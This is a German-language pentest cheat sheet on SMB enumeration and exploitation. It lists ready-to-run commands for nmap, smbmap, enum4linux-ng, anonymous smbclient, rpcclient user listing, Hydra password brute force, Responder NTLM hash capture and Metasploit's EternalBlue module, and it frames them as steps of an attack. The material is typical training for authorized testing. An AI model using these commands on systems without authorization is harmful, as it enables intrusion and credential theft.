139, 445 - SMB
Einführung
SMB (Server Message Block) ist ein Netzwerkprotokoll, das den Zugriff auf Dateien, Drucker und andere Netzwerkressourcen ermöglicht. Es wird hauptsächlich in Windows-Netzwerken verwendet, aber auch unter Unix/Linux-Systemen durch das Samba-Projekt unterstützt. SMB läuft üblicherweise auf den Ports 139 und 445 und ermöglicht die Kommunikation zwischen einem SMB-Client und einem SMB-Server.
Ziel dieser Anleitung ist es, Schritt für Schritt zu erklären, wie man SMB-Dienste auf einem Zielsystem enumeriert, Schwachstellen identifiziert und diese möglicherweise exploitiert. Dabei werden verschiedene Tools vorgestellt, die gängige Sicherheitslücken ausnutzen können.
Erkennung von SMB-Diensten
Der erste Schritt in der SMB-Enumeration besteht darin, zu prüfen, ob das Zielsystem SMB-Dienste bereitstellt und welche Versionen davon laufen. Dazu verwenden wir Nmap, das hilft, offene Ports zu scannen und Informationen über die SMB-Dienste zu erhalten.
Nmap-Scan:
$ sudo nmap -p139,445 --script smb-enum-shares,smb-enum-users -sC -sV <Ziel-IP>
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open microsoft-ds
| smb-enum-shares:
| notes: READ, WRITE
| IPC$: NO ACCESS
-p139,445: Scannt die klassischen SMB-Ports.
--script smb-enum-shares: Versucht, Freigaben aufzulisten.
--script smb-enum-users: Listet Benutzer auf, wenn dies möglich ist.
-sC: Führt grundlegende Nmap-Skripte aus.
-sV: Bestimmt die Version des SMB-Dienstes.
Warum dieser Schritt wichtig ist: Der Scan gibt dir eine erste Übersicht über das Zielsystem. Du erfährst, ob SMB-Dienste aktiv sind, welche Version des Protokolls verwendet wird und ob du auf bestimmte Freigaben zugreifen kannst. Das ist entscheidend für den weiteren Angriff, da veraltete Versionen wie SMBv1 bekannte Schwachstellen enthalten (z.B. EternalBlue).
Freigabenanalyse mit SMBMap
Mit SMBMap kannst du Freigaben auflisten und Berechtigungen einsehen.
Befehl:
smbmap -H <Ziel-IP>
Zeigt z. B.:
Disk Permissions Comment
notes READ,WRITE Projektdateien
IPC$ NO ACCESS IPC Service
Warum dieser Schritt wichtig ist: Du erkennst, ob du z. B. Schreibrechte hast. Schreibrechte können für Payloads oder Backdoors genutzt werden.
Umfassende Enumeration mit Enum4linux-ng
Enum4linux-ng kombiniert mehrere Techniken und liefert umfangreiche Informationen zu Benutzern, Gruppen und Freigaben.
Befehl:
enum4linux-ng -A <Ziel-IP>
Warum dieser Schritt wichtig ist: Gerade bei Active Directory-Umgebungen kannst du wertvolle Informationen über Userstrukturen gewinnen und Angriffsflächen identifizieren.
Manuelles Durchsuchen von Freigaben mit smbclient
Wenn du Freigaben gefunden hast, kannst du sie mit smbclient durchsuchen. Es funktioniert ähnlich wie ein FTP-Client.
Freigaben anzeigen (anonym):
smbclient -N -L \\{Ziel-IP}\\
-N
: Kein Passwort-L
: Zeigt verfügbare Freigaben
Auf eine Freigabe zugreifen:
smbclient -N \\{Ziel-IP}\\backups
Warum dieser Schritt wichtig ist: Erlaubt dir das manuelle Stöbern nach sensiblen Dateien oder Konfigurationen. Besonders nützlich, wenn keine Zugangsdaten vorhanden sind.
Benutzerinformationen mit rpcclient
rpcclient ermöglicht es, detaillierte Informationen über Benutzer und Gruppen auf einem SMB-Server zu erhalten. Dies ist besonders nützlich, um mehr über die Benutzerstruktur und mögliche Schwachstellen zu erfahren.
Befehl:
rpcclient -U "" <Ziel-IP>
Beispielkommandos:
rpcclient $> enumdomusers
rpcclient $> queryuser <RID>
Beispielausgabe:
$ rpcclient -U "" <Ziel-IP>
rpcclient $> enumdomusers
user:[mrb3n] rid:[0x3e8]
user:[cry0l1t3] rid:[0x3e9]
rpcclient $> queryuser <RID>
User Name : cry0l1t3
Full Name : cry0l1t3
Logon Time : Mi, 22 Sep 2021 17:50:56 CEST
Password last set Time: Mi, 22 Sep 2021 17:50:56 CEST
Warum dieser Schritt wichtig ist: Mit rpcclient kannst du Benutzerinformationen sammeln, die für weitere Angriffe wie Brute-Force oder Passwortspray verwendet werden können. Besonders hilfreich, wenn enum4linux-ng keine Benutzer liefert.
Query
srvinfo
Server information.
enumdomains
Enumerate all domains that are deployed in the network.
querydominfo
Provides domain, server, and user information of deployed domains.
netshareenumall
Enumerates all available shares.
netsharegetinfo <share>
Provides information about a specific share.
enumdomusers
Enumerates all domain users.
queryuser <RID>
Provides information about a specific user.
Brute-Force mit Hydra
Mit validen Usernamen kannst du schwache Passwörter testen.
Befehl:
hydra -l <Benutzer> -P /usr/share/wordlists/rockyou.txt smb://<Ziel-IP>
Warum dieser Schritt wichtig ist: Einfacher Weg, Zugriff zu erlangen, wenn Passwörter schwach oder Standard sind.
Hash-Abgriff mit Responder
Responder fängt SMB-Authentifizierungen ab und speichert NTLM-Hashes.
Befehl:
sudo responder -I <Interface>
Warum dieser Schritt wichtig ist: NTLM-Hashes lassen sich offline cracken oder für Pass-the-Hash nutzen.
SMB-Exploits (z. B. EternalBlue)
Bei alten SMB-Versionen wie SMBv1 können Exploits wie EternalBlue verwendet werden.
Metasploit-Exploit:
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <Ziel-IP>
run
Warum dieser Schritt wichtig ist: Ermöglicht Remote-Code-Execution auf ungepatchten Systemen. Volle Kontrolle möglich.
Zusammenfassung der SMB-Enumeration und -Exploitation
Tool
Beschreibung
Nmap
Erkennung von offenen SMB-Ports und Versionen.
SMBMap
Detaillierte Analyse von SMB-Freigaben und Berechtigungen.
Enum4linux-ng
Umfassende Enumeration von Benutzern, Freigaben und Gruppen auf dem SMB-Server.
smbclient
Direkter Zugriff auf SMB-Freigaben, um Dateien zu durchsuchen oder herunterzuladen.
rpcclient
Abfragen von Benutzerinformationen und Gruppen.
Hydra
Brute-Force-Angriffe auf SMB-Passwörter.
Responder
Abfangen von SMB-Authentifizierungs-Hashes (NTLM).
Metasploit
Automatisierte Exploitation von Schwachstellen (z.B. EternalBlue).
Last updated